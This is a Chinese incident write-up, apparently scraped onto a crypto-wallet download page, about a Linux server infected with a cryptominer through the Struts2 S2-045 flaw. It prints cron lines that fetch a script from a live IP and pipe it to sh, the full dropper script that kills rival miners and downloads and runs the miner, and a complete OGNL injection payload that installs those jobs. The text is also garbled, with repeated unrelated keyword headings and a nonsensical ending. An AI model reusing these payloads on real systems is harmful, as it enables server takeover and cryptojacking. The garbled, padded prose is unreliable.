主页 > imtoken钱包下载官网 > 我作为比特币矿工被抓

我作为比特币矿工被抓

imtoken钱包下载官网 2023-02-24 07:13:11

介绍

除了挖比特币矿机还能挖什么_比特币和莱特币能同时挖吗_挖比特币被抓

世界上还是有很多伟大的人的。 2011年,一个三年级的学生遇到了麻烦,然后知乎发了个问题。 三年级学生手头有6000元。 有什么好的理财投资建议? 2017年的今天,我想出了一个知乎上的热门问题,因为这个问题下有一个已经获得数万点赞的答案。

原因

我是服务器挖比特币被抓,我也是内网的linux服务器。 我外装天擎汉​​麻防火墙,内装防火墙和强密码组合。 我什至不记得数字的数量。 ,悠然自得,觉得自己有点磨蹭,明明那么与世无争,却遭到了无情的攻击。

挖比特币被抓_比特币和莱特币能同时挖吗_除了挖比特币矿机还能挖什么

那天一大早,我就觉得脑袋有些发烫,赶紧下了一条top命令:

挖比特币被抓_除了挖比特币矿机还能挖什么_比特币和莱特币能同时挖吗

  1. top - 20:07:49 up 70 days,  8:53,  2 users,  load average: 5.71, 5.07, 2.93

  2. Tasks: 200 total,   1 running, 199 sleeping,   0 stopped,   0 zombie

  3. %Cpu(s): 50.2 us,  0.1 sy,  0.0 ni, 49.7 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st

  4. KiB Mem : 65401524 total, 36266252 free, 13198040 used, 15937232 buff/cache

  5. KiB Swap: 32834556 total, 32803700 free,    30856 used. 51442368 avail Mem

  6.  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND

  7. 17257 root      20   0  591340  15220    556 S 599.7  0.0  67:13.74 atd

  8. 15768 root      20   0 15.369g 2.319g  18048 S   1.7  3.7   4:10.49 java

发现一个奇怪的进程atd,CPU占用接近600%,执行命令ps -eaf|grep atd:

  1. [root@itstyle tmp]# ps -ef|grep atd

  2. root     17257     1 99 19:56 ?        01:22:31 ./atd -c trtgsasefd.conf -t 6

  3. root     17475 17165  0 20:10 pts/0    00:00:00 grep --color=auto atd

然后find / -name atd找到存放相关指令的位置。

  1. [root@itstyle tmp]# find / -name atd

  2. /var/tmp/atd

突然觉得还是先把这个atd进程kill掉比较好,kill -9 17257,马上杀掉,很快。

挖比特币被抓_比特币和莱特币能同时挖吗_除了挖比特币矿机还能挖什么

然后就退烧了,但是可恶的是,没过几分钟,又退烧了,貌似又跑atd进程了。

kill掉后重新运行,肯定某处有定时,查看定时任务,crontab -l:

  1. [root@itstyle tmp]# crontab -l

  2. */20 * * * * wget -O - -q http://5.188.87.11/icons/logo.jpg|sh

  3. */19 * * * * curl http://5.188.87.11/icons/logo.jpg|sh

靠,之前的计时脚本没了,多了两个奇怪的任务。 里面有一个很特别的网址。 我复制到浏览器访问。 还以为是美图或者恐怖图,没想到是黑黑的大图。 F12 图片网络请求找到Response 实际存在如下代码:

  1. #!/bin/sh

  2. rm -rf /var/tmp/bmsnxvpggm.conf

  3. ps auxf|grep -v grep|grep -v trtgsasefd|grep "/tmp/"|awk '{print $2}'|xargs kill -9

  4. ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9

  5. ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9

  6. ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9

  7. ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9

  8. ps auxf|grep -v grep|grep "bmsnxvpggm"|awk '{print $2}'|xargs kill -9

  9. ps -fe|grep -e "trtgsasefd" -e "ixcnkupikm" -e "jmzaazwiom" -e "erlimkvsmb" -e "pdnpiqlnaa" -e "zhoimvmfqo"|grep -v grep

  10. if [ $? -ne 0 ]

  11. then

  12. echo "start process....."

  13. chmod 777 /var/tmp/trtgsasefd.conf

  14. rm -rf /var/tmp/trtgsasefd.conf

  15. curl -o /var/tmp/trtgsasefd.conf http://5.188.87.11/icons/kworker.conf

  16. wget -O /var/tmp/trtgsasefd.conf http://5.188.87.11/icons/kworker.conf

  17. chmod 777 /var/tmp/atd

  18. rm -rf /var/tmp/atd

  19. rm -rf /var/tmp/sshd

  20. cat /proc/cpuinfo|grep aes>/dev/null

  21. if [ $? -ne 1 ]

  22. then

  23. curl -o /var/tmp/atd http://5.188.87.11/icons/kworker

  24. wget -O /var/tmp/atd http://5.188.87.11/icons/kworker

  25. else

  26. curl -o /var/tmp/atd http://5.188.87.11/icons/kworker_na

  27. wget -O /var/tmp/atd http://5.188.87.11/icons/kworker_na

  28. fi

  29. chmod +x /var/tmp/atd

  30. cd /var/tmp

  31. proc=`grep -c ^processor /proc/cpuinfo`

  32. cores=$((($proc+1)/2))

  33. nohup ./atd -c trtgsasefd.conf -t `echo $cores` >/dev/null &

  34. else

  35. echo "runing....."

  36. fi

一堆脚本,那个烂的居然有rm -rf,这要死我了! ! ! 吓得我连忙打开蓝灯,在谷歌上搜索这个命令,在virustotal上找到了如下指令:

除了挖比特币矿机还能挖什么_挖比特币被抓_比特币和莱特币能同时挖吗

挖比特币被抓_除了挖比特币矿机还能挖什么_比特币和莱特币能同时挖吗

四天前还发现了一个评论,是一个通过struts漏洞传播下载并启动bitcode miner的脚本。

在gov.lk中也找到了一段代码,隐约发现和struts2有关:

除了挖比特币矿机还能挖什么_比特币和莱特币能同时挖吗_挖比特币被抓

由于一些老项目还在用struts2,于是查看了相关日志,发现了传说中的OGNL注入

  1. org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/form-data stream, content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "*/20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh\n*/19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh" | crontab -;wget -O - -q http://91.230.47.40/icons/logo.jpg|sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

除了挖比特币矿机还能挖什么_挖比特币被抓_比特币和莱特币能同时挖吗

黑客用一个表单向struts请求发送一些内容,内容通过OGNL解析,结果创建了crontab,擦,真是不如亲眼所见,有过被坑的一天,于是我成了一个苦逼的矿工。

除了挖比特币矿机还能挖什么_挖比特币被抓_比特币和莱特币能同时挖吗

采矿组织

Struts2的安全漏洞从2010年开始陆续被披露,其中就有远程代码执行漏洞。 037、devMode、Struts2在2017年3月上旬披露的S045漏洞。每次漏洞爆发,网上都会出现Struts2扫描攻击。

本次攻击针对Struts2的远程命令执行漏洞,漏洞编号:S2-045,CVE编号:CVE​​-2017-5638,官方评级为高危。 该漏洞可以通过修改 HTTP 请求标头中的 Content-Type 值来触发。 黑客对互联网WEB应用服务器批量发起攻击,下载恶意脚本执行下载进行比特币挖矿程序,主要感染Linux服务器。

挖比特币被抓_比特币和莱特币能同时挖吗_除了挖比特币矿机还能挖什么

比特币和莱特币能同时挖吗_除了挖比特币矿机还能挖什么_挖比特币被抓

经过测试和搜索,这应该是一个有组织、有纪律的矿工集团。 以下是IP地址的来源。

除了挖比特币矿机还能挖什么_挖比特币被抓_比特币和莱特币能同时挖吗

解决方案

struts2升级版本到2.5.10,高危漏洞又来了,这是3月份的升级,当时的投机者还是赶紧升级吧,实在不想升级也没关系,反正是挖矿,它不会伤害你。

但是,如果你不是我的,你是傻瓜吗? 到时候就不会是发烧那么简单了。 很多公司的线上部署不是很规范。 也许所有的程序都是以 root 启动的?

如何注射

最后我觉得这是大家比较关心的问题。 肯定有很多朋友想知道黑客是怎么注入的?

人们都说挖比特币被抓,只要心够诚,西边的格达山上都能找到当铺,进去了,人生就变了,我不知道。